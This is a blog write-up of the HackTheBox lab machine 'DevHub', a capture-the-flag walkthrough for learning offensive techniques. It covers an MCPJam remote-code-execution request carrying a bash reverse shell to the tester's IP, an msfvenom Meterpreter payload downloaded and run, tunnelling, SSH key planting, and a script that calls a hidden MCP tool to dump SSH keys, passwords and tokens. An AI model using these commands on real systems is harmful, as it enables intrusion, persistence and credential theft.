HTB Writeup: DevHub

Table of Contents

DevHub is the second box released in HTB season 11. It is a medium difficulty machine where you take advantage of an MCPJam RCE exploit for initial access, get access to a user’s Jupyter Notebook instance with an exposed token, and then use an MCP server’s credential recovery tool to get the root user’s SSH key.

User

I started by enumerating all ports with nmap -p-, revealing ports 22, 80, and 6274. I then ran script scanning (-sC) and service scanning (-sV) on those ports. This revealed an Nginx server on 80 and an unknown HTTP server on 6274.

The first thing I did was note down all service versions from the Nmap scan, including the SSH version and Nginx version.

Since Nmap did not reveal what kind of service was running on 6274, I opened Firefox to visit it manually. This revealed that it was MCPJam running v1.4.2.

The next step was to move onto the vulnerability research phase based on all of the version numbers that I now had to go off of. Nginx was on version 1.18.0, so my first guess was that this would involve the newly disclosed Nginx Rift vulnerability, and kept that in my back pocket. I also learned about CVE-2021-23017, which is another Nginx vulnerability. I didn’t immediately go for these because they both are finicky and require a specific set of circumstances to be able to be executed successfully.

In researching MCPJam v1.4.2, I immediately found CVE-2026-23744. This is a very simple exploit, and I modified this poc on GitHub to get my initial access as the mcp-dev user.

Testing if the exploit works:

curl http://devhub.htb:6274/api/mcp/connect --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"bash\",\"args\":[\"whoami\"],\"env\":{}},\"serverId\":\"mytest\"}"

{"success":false,"error":"Connection failed for server mytest: MCP error -32000: Connection closed","details":"MCP error -32000: Connection closed"}

Modifying with reverse shell payload:

curl http://devhub.htb:6274/api/mcp/connect \
  --header "Content-Type: application/json" \
  --data '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.16.63/443 0>&1"],"env":{}},"serverId":"mytest"}'

Now the goal was to get from mcp-dev to a regular user. As the mcp-dev user, I first tried to look for low hanging fruit such as sudo -l, which all didn’t lead anywhere. I then ran linpeas to get a better overall look at my options.

From linpeas, I discovered these new services running on localhost:

  • 127.0.0.1:53
  • 127.0.0.1:8888 <- New internal service
  • 127.0.0.1:5000 <- New internal service
  • 0.0.0.0:22
  • 0.0.0.0:6274

To access these services, I opened a Metasploit Meterpreter shell and tried the portfwd command to perform a local port forward from the internal service on 8888 over the Metasploit connection to my attacker host.

  • Attacker Host
  • Victim Host

Creating the MSFVenom payload:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.16.63 LPORT=8081 -f elf > backup.elf

Transferring the file:

python3 -m http.server 80

Setting up to have Metasploit catch the reverse shell:

msfconsole
use exploit/multi/handler
set lport 8081
set lhost tun0
set payload linux/x64/meterpreter/reverse_tcp

Creating the port forward:

portfwd add -l 8888 -p 8888 -r 127.0.0.1

Getting and executing the MSFVenom payload

wget http://10.10.16.63/backup.elf
chmod +x backup.elf
./backup.elf

This successfully forwarded the port - however, the Meterpreter portfwd command appeared to have a hard time with redirects and rendering the service on port 8888, so I switched to using Chisel. I downloaded the binary from https://github.com/jpillora/chisel/releases and again transferred it with the above python http.server module.

  • Attacker Host
  • Victim Host

Start Chisel server:

chisel server -p 9001 --reverse

Start the Chisel client

./chisel_1.11.5_linux_amd64 client 10.10.16.63:9001 R:8888:127.0.0.1:8888

With this port forward, I was finally able to connect to the service on 8888 through Firefox. This revealed that it was a Jupyter notebooks server, requiring a token to login. Looking back at the linpeas output, the access token for the server running as the analyst user is in the command line invocation.

analyst 1053 0.0 2.4 182528 96432 ? Ss 05:01 0:06 /home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= --ServerApp.allow_origin= --ServerApp.disable_check_xsrf=False

With that token, I logged in to the Jupyter notebook session. That session included shell access as analyst, which allowed me to read the user flag!

Root

I configured SSH to allow me to sign in from my Linux attack host.

mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPIKbZmj2KaWHq/QkX/XfDyx+ONhNqoSP/RFNpVjpzSa whamram >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

I again ran linpeas to get a lay of the land.

I used SSH local port forwarding to be able to visit the service on port 5000.

ssh -L 5000:localhost:5000 analyst@devhub.htb

I ran Nmap script and service scanning on that port.

nmap -p5000 -sV -sC 127.0.0.1

PORT STATE SERVICE VERSION 5000/tcp open http Werkzeug httpd 3.1.6 (Python 3.10.12) |_http-title: Site doesn't have a title (application/json). |_http-server-header: Werkzeug/3.1.6 Python/3.10.12

I visited the service in Firefox, which had a json output showing that I needed an X-API-Key to be able to authenticate, and that it was an OPSMCP server running version 2.1.0.

Looking back at the linpeas output, I found the invocation line of the service running as root:

/home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py running as root

I saw that the analyst user had read privileges on /opt/opsmcp/server.py. I used cat to view it and it revealed a lot of interesting secrets, but most importantly the API Key was there in plaintext as well as an emergency credential dump tool to view SSH keys, passwords and other credentials.

<SNIP>
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"
<SNIP>
# Hidden tools (not in /tools/list but callable) HIDDEN_TOOLS = { "ops._admin_dump": { "description": "Emergency credential dump - INTERNAL ONLY", "parameters": {"target": "string", "confirm": "boolean"} }, "ops._debug_mode": { "description": "Enable debug mode", "parameters": {} } }
<SNIP>

I read the MCP server file to further understand how it works, and provided the necessary information to Claude to generate a working payload.

KEY="opsmcp_secret_key_4f5a6b7c8d9e0f1a"
URL="http://127.0.0.1:5000/tools/call"

for t in ssh_keys passwords tokens; do
  echo "===== $t ====="
  proxychains curl -s -X POST "$URL" \
    -H "X-API-Key: $KEY" \
    -H "Content-Type: application/json" \
    -d "{\"name\":\"ops._admin_dump\",\"arguments\":{\"target\":\"$t\",\"confirm\":true}}"
  echo
done

This provided me with an SSH key for the root user! I then wrote that to a file and SSH’d in as root to get the root.txt.

ssh -i root_ssh root@devhub.htb
cat root.txt
Share :

Related Posts

How to Hack from the Stationary Bike at the Gym

Introduction I started HackTheBox about one year ago on my journey to build a career in offensive security. It started slow, just doing the lessons and structured coursework, but I recently got into doing boxes and HTB seasons - and it has become my new favorite hobby.

Read More

HTB Writeup: Enigma

  • Caden Rasey
  • Writeup

This writeup is locked until the box is retired.

HTB Writeup: Reactor

Reactor was the first box released for HackTheBox Season 11. It’s an easy Linux machine where you take advantage of react2shell and remote code execution in the Node.js inspector exposed on localhost.

Read More